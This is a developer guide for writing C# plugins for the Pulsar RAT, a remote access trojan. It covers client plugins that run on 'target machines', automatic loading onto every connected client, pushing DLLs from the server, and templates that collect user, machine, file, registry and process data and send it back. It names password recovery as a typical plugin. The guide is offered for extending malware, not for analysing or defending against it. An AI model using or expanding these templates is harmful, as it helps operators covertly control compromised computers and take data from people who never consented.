Pulsar Plugin System - Developer Guide
Welcome to the Pulsar Plugin System! This guide will teach you how to create powerful plugins that can run on client machines through the Pulsar RAT system.
📋 Table of Contents
- Quick Start
- Plugin Types
- Creating Your First Plugin
- Advanced Features
- Code Templates
- Troubleshooting
Quick Start
What You Need
- Visual Studio or VS Code with C# support
- Basic C# knowledge (variables, methods, classes)
- Most importantly, a brain
Plugin System Overview
- Client Plugins: Run on the target machine (what we'll focus on)
- Server Plugins: Run on the server (for UI and management)
- Universal System: Works with any .NET Framework 4.7.2+ project
Plugin Types
0. Client-Only Auto Plugins (New)
- Target a single assembly that implements
IUniversalPlugin - Name the compiled DLL with a
.Client.dllsuffix (for exampleActionPlugin.Client.dll) and drop it intoPulsar.Server/Plugins - Every connected client loads the plugin automatically without any server UI wiring
- The plugin's
Initializemethod runs immediately after download, perfect for one-shot actions - Update the
Versionproperty when you publish a new build so clients receive the fresh copy - Optional: place a
<PluginName>.initfile next to your DLL to supply raw init data bytes
1. Server-Only Plugins (Run on server machine)
- Add menu items to the server interface
- Create custom server UI windows
- Handle server-side data processing
- Example: Custom client management tools, server utilities
2. Server-Client Plugins (Both components needed)
- Server part: UI and menu integration
- Client part: Actual work on target machine
- Communication between server and client
- Example: passwords recovery, etc
Important Terms Explained
Plugin State
IsComplete: Tells the system if your plugin is done working_isRunning: Your own variable to track if plugin is busyShouldUnload: Tells system to remove plugin from memory when done
Plugin Lifecycle
- Initialize(): Called when plugin loads (setup code here)
- ExecuteCommand(): Called for each command from server
- IsComplete: Checked to see if plugin is done
- Cleanup(): Called when plugin is removed (cleanup code here)
PluginResult Properties
- Success: Did the command work? (true/false)
- Message: Status message for the server
- Data: Raw data to send back (use Encoding.UTF8.GetBytes())
- ShouldUnload: Remove plugin when this command finishes?
initData Parameter
- What it is: Data sent from server to plugin when it loads
- Common uses: Configuration, webhook URLs, file paths
- How to use:
string config = Encoding.UTF8.GetString(initData);
Creating Your First Plugin
Step 1: Create a New Project
- Open Visual Studio
- Create new Class Library (.NET Framework 4.7.2) project
- Name it something like
MyFirstPlugin
Step 2: Copy the Template Code
Replace your Class1.cs with this template:
using System;
using System.Text;
using Pulsar.Client.Plugins;
namespace MyFirstPlugin
{
public class MyFirstPlugin : IUniversalPlugin
{
// Plugin Information
public string PluginId => "myfirstplugin";
public string Version => "1.0";
public string[] SupportedCommands => new[] { "hello", "info", "status" };
// Plugin State
private bool _isRunning = false;
// Initialize the plugin
public void Initialize(byte[] initData)
{
// This runs when the plugin is loaded
// initData contains any data sent from the server
}
// Handle commands from the server
public PluginResult ExecuteCommand(string command, byte[] parameters)
{
try
{
switch (command)
{
case "hello":
return SayHello();
case "info":
return GetSystemInfo();
case "status":
return GetStatus();
default:
return new PluginResult
{
Success = false,
Message = "Unknown command"
};
}
}
catch (Exception ex)
{
return new PluginResult
{
Success = false,
Message = $"Error: {ex.Message}"
};
}
}
// Check if plugin is done
public bool IsComplete => !_isRunning;
// Cleanup when plugin is unloaded
public void Cleanup()
{
_isRunning = false;
}
// Your custom methods
private PluginResult SayHello()
{
return new PluginResult
{
Success = true,
Message = "Hello from my first plugin!",
ShouldUnload = true
};
}
private PluginResult GetSystemInfo()
{
var info = new StringBuilder();
info.AppendLine("=== System Information ===");
info.AppendLine($"Computer: {Environment.MachineName}");
info.AppendLine($"User: {Environment.UserName}");
info.AppendLine($"OS: {Environment.OSVersion}");
info.AppendLine($"Time: {DateTime.Now}");
return new PluginResult
{
Success = true,
Message = "System info collected",
Data = Encoding.UTF8.GetBytes(info.ToString()),
ShouldUnload = true
};
}
private PluginResult GetStatus()
{
return new PluginResult
{
Success = true,
Message = $"Plugin is running: {_isRunning}",
ShouldUnload = false
};
}
}
}
Step 3: Add Required References
Add these NuGet packages to your project:
- MessagePack
- Pulsar.Common
Step 4: Build Your Plugin
- Build your project in Release mode
- Copy the
.dllfile to the server's plugin directory - Test it through the Pulsar server interface
🎨 Code Templates
Template 0: Auto-Loaded Message Box (Client Only)
using System;
using System.Runtime.InteropServices;
using System.Text;
using Pulsar.Common.Plugins;
namespace ActionPlugins
{
public sealed class ActionPlugin : IUniversalPlugin
{
[DllImport("user32.dll", CharSet = CharSet.Unicode)]
private static extern int MessageBox(IntPtr hWnd, string text, string caption, uint type);
public string PluginId => "actionplugin";
public string Version => "1.0.0";
public string[] SupportedCommands => Array.Empty<string>();
public void Initialize(byte[] initData)
{
var message = initData is { Length: > 0 }
? Encoding.UTF8.GetString(initData)
: "Action executed!";
MessageBox(IntPtr.Zero, message, "Action Plugin", 0);
}
public PluginResult ExecuteCommand(string command, byte[] parameters)
{
return new PluginResult
{
Success = false,
Message = "No commands supported",
ShouldUnload = true
};
}
public bool IsComplete => true;
public void Cleanup() { }
}
}
Compile the project as ActionPlugin.Client.dll (or any name ending in .Client.dll) and drop it into Pulsar.Server/Plugins. If you want to change the message at runtime, create a text file named ActionPlugin.Client.init next to the DLL containing the message body (UTF-8 encoded).
Template 1: Information Collector
public class InfoCollector : IUniversalPlugin
{
public string PluginId => "infocollector";
public string Version => "1.0";
public string[] SupportedCommands => new[] { "collect" };
public void Initialize(byte[] initData) { }
public PluginResult ExecuteCommand(string command, byte[] parameters)
{
if (command == "collect")
{
var info = CollectInformation();
return new PluginResult
{
Success = true,
Message = "Information collected",
Data = Encoding.UTF8.GetBytes(info),
ShouldUnload = true
};
}
return new PluginResult { Success = false, Message = "Unknown command" };
}
public bool IsComplete => true;
public void Cleanup() { }
private string CollectInformation()
{
// Your information collection code here
return "Collected information...";
}
}
Template 2: Action Plugin
public class ActionPlugin : IUniversalPlugin
{
public string PluginId => "actionplugin";
public string Version => "1.0";
public string[] SupportedCommands => new[] { "execute" };
private bool _isExecuting = false;
public void Initialize(byte[] initData) { }
public PluginResult ExecuteCommand(string command, byte[] parameters)
{
if (command == "execute")
{
_isExecuting = true;
var result = PerformAction();
_isExecuting = false;
return new PluginResult
{
Success = true,
Message = result,
ShouldUnload = true
};
}
return new PluginResult { Success = false, Message = "Unknown command" };
}
public bool IsComplete => !_isExecuting;
public void Cleanup() { _isExecuting = false; }
private string PerformAction()
{
// Your action code here
return "Action completed successfully!";
}
}
Template 3: Context Menu Client + Server Pair
This example ships a client plugin and hooks a context menu item on the server. When the menu item is clicked, each selected client displays a message box.
Server plugin (compile as ContextMenuMessage.Server.dll):
using System;
using System.Collections.Generic;
using System.IO;
using System.Reflection;
using System.Windows.Forms;
using Pulsar.Server.Networking;
using Pulsar.Server.Plugins;
namespace ExamplePlugins.ContextMenu
{
public sealed class ContextMenuServerPlugin : IServerPlugin
{
private string _pluginDirectory = string.Empty;
public string Name => "Context Menu Message";
public Version PluginVersion => new Version(1, 0, 0, 0);
public string Author => "Example";
public string Description => "Adds a context menu entry that shows a client-side message box.";
public bool AutoLoadToClients => false;
public void Initialize(IServerContext context)
{
_pluginDirectory = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location) ?? AppDomain.CurrentDomain.BaseDirectory;
context.AddClientContextMenuItem(new[] { "Examples" }, "Show Message", OnShowMessageClicked);
}
public void Dispose() { }
private void OnShowMessageClicked(IReadOnlyList<Client> clients)
{
try
{
var clientAssemblyPath = Path.Combine(_pluginDirectory, "ContextMenuMessage.Client.dll");
if (!File.Exists(clientAssemblyPath))
{
MessageBox.Show("ContextMenuMessage.Client.dll not found next to the server plugin.", "Context Menu Plugin", MessageBoxButtons.OK, MessageBoxIcon.Warning);
return;
}
var assemblyBytes = File.ReadAllBytes(clientAssemblyPath);
foreach (var client in clients)
{
var pluginId = $"context.menu.message.{client.Id:N}";
PushSender.LoadUniversalPlugin(client, pluginId, assemblyBytes, Array.Empty<byte>(), "ExamplePlugins.ContextMenu.ContextMenuClientPlugin", "Initialize");
}
}
catch (Exception ex)
{
MessageBox.Show($"Context menu plugin failed: {ex.Message}", "Context Menu Plugin", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
}
}
Client plugin (compile as ContextMenuMessage.Client.dll):
using System;
using System.Runtime.InteropServices;
using Pulsar.Common.Plugins;
namespace ExamplePlugins.ContextMenu
{
public sealed class ContextMenuClientPlugin : IUniversalPlugin
{
[DllImport("user32.dll", CharSet = CharSet.Unicode)]
private static extern int MessageBox(IntPtr hWnd, string text, string caption, uint type);
public string PluginId => "contextmenumessage";
public string Version => "1.0.0";
public string[] SupportedCommands => Array.Empty<string>();
public void Initialize(byte[] initData)
{
MessageBox(IntPtr.Zero, "Hello from the context menu action!", "Context Menu Plugin", 0);
}
public PluginResult ExecuteCommand(string command, byte[] parameters)
{
return new PluginResult
{
Success = false,
Message = "No commands supported",
ShouldUnload = true
};
}
public bool IsComplete => true;
public void Cleanup() { }
}
}
Place both DLLs in Pulsar.Server/Plugins. The client DLL must keep the .Client.dll suffix so Pulsar auto-dispatches it.
Template 4: Server-Only Message Box Plugin
using System;
using System.Windows.Forms;
using Pulsar.Server.Plugins;
namespace ExamplePlugins.ServerOnly
{
public sealed class ServerHelloPlugin : IServerPlugin
{
public string Name => "Server Hello";
public Version PluginVersion => new Version(1, 0, 0, 0);
public string Author => "Example";
public string Description => "Shows a message box when the plugin loads.";
public bool AutoLoadToClients => false;
public void Initialize(IServerContext context)
{
MessageBox.Show("Hello from the server plugin!", "Server Hello", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
public void Dispose() { }
}
}
## 🔧 Advanced Features
### Working with Files
```csharp
private string ReadFile(string filePath)
{
try
{
return File.ReadAllText(filePath);
}
catch (Exception ex)
{
return $"Error reading file: {ex.Message}";
}
}
private bool WriteFile(string filePath, string content)
{
try
{
File.WriteAllText(filePath, content);
return true;
}
catch
{
return false;
}
}
Working with Registry
private string GetRegistryValue(string keyPath, string valueName)
{
try
{
using (var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(keyPath))
{
return key?.GetValue(valueName)?.ToString() ?? "Not found";
}
}
catch
{
return "Error accessing registry";
}
}
Working with Processes
private string GetRunningProcesses()
{
var processes = Process.GetProcesses();
var result = new StringBuilder();
foreach (var process in processes.Take(10)) // Limit to first 10
{
result.AppendLine($"{process.ProcessName} (PID: {process.Id})");
}
return result.ToString();
}
Stuff good to know about
1. Error Handling
Always wrap your code in try-catch blocks:
try
{
// Your code here
return new PluginResult { Success = true, Message = "Success" };
}
catch (Exception ex)
{
return new PluginResult { Success = false, Message = ex.Message };
}
2. Resource Management
Clean up resources in the Cleanup() method:
private HttpClient _httpClient;
public void Cleanup()
{
_httpClient?.Dispose();
}
3. Memory Management
Use using statements for disposable objects:
using (var stream = new FileStream(path, FileMode.Open))
{
// Use stream here
}
4. Plugin State
Use the IsComplete property to indicate when your plugin is done:
private bool _isProcessing = false;
public bool IsComplete => !_isProcessing;
Troubleshooting
Common Issues
1. "Plugin not found" error
- Make sure your plugin implements
IUniversalPlugin - Check that
PluginIdis unique - Verify the plugin is built in Release mode
2. "Command not supported" error
- Add your command to the
SupportedCommandsarray - Make sure the command name matches exactly (case-sensitive)
3. "Plugin crashes" error
- Add try-catch blocks around your code
- Check for null references
- Use the
Cleanup()method to reset state
4. "Data not received" error
- Make sure to set
Dataproperty inPluginResult - Use
Encoding.UTF8.GetBytes()for string data - Check that
ShouldUnloadis set correctly
Debug Tips
- Use the Message property to return status information
- Set ShouldUnload = true when your plugin is done
- Use the Data property to return large amounts of data
- Test your plugin with simple commands first
Need Help?
- Start simple with basic information collection
- Test frequently during development
- ask Do not ask me for help in t.me/PulsarPlugins , this project was a HEADACHE
You're Ready!
You now have everything you need to create powerful Pulsar plugins. Start with the simple templates and gradually work your way up to more complex plugins. Remember: start simple, test often, and have fun!
*Happy Plugin Development! (more like goodluck) *